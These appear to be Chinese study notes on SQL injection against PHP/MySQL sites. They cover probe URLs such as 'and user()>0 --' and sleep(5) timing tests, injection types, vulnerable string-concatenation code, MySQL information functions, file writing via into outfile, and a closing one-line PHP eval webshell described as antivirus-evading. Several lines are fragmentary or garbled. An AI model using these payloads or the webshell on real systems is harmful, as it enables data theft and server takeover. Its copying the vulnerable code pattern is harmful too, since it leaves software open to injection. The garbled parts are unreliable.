1.什么是SQL注入攻击
SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令
http://www.xxx.com/list.php?id=1
http://www.xxx.com/list.php?id=1 and user()>0 --
- [ ] 哪里存在sql注入
GET,POST,HTTP头部注入,Cookie注入,任何客户端可控,传递到服务器的变量 - [ ]漏洞原理
- 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
$sql = "select * from article where id = ".$_GET[1];//使用字符串拼接
- 未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中。
$sql = "select * from article where id = $_GET[1]";//传递参数未过滤
- 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2.SQL注入的危害
- 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中的内容(脱库)。
- 在特别情况下还可以修改数据库内容或者插入内容到数据库,(多语句联合查询注入)
- 如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。(root权限或者sa权限等等)
3.SQL注入的分类
- 根据数据类型
_GET[‘id’];
- 整型注入 id”
- 字符型注入 id’”
- 根据注入语法
- UNION query SQL injection(可联合的查询注入)
- Stacked queries SQL injection(可多语句查询注入)
- Error-based SQLinjection(报错型注入)
- Boolean-based blind SQL injection(布尔型注入)
- Time-based blind SQL injection(基于时间延迟注入)
4.SQL注入的挖掘(编写注入环境代码验证)
- and 1=1 / and 1=2 根据回显页面不同(整形判断)
- 单引号判断(‘)显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
- (转义符)(适合于字符型注入)
- -1/+1回显下一个或者上一个页面(整形判断)
and sleep(5)(判断页面返回时间)
[ ] mysql中四种注释风格
#
/…/
/!…/ 内联注释/!50000select /(mysql版本大于50000执行)
[ ] mysql中一些函数
- system_user()系统用户名
- user()用户名
- current_user()当前用户名
- session_user()连接数据库的用户名
- database() 数据库名
- version()MySql数据库版本
- load_file()MySql读取本地文件的函数
- @@datadir 读取数据库路径
- @@basedir MySql安装路径
@@version_compile_os 操作系统Windows Server 2003
[ ] mysql漏洞利用函数:into outfile()
- into_outfile()写文件操作
前提:
- 文件名必须全路径(绝对路径),
- 用户必须有写文件的权限
- 没有对’单引号过滤
SELLECT’
一句话免杀木马
<?php function dog(){return $_POST[1];}eval(dog());?>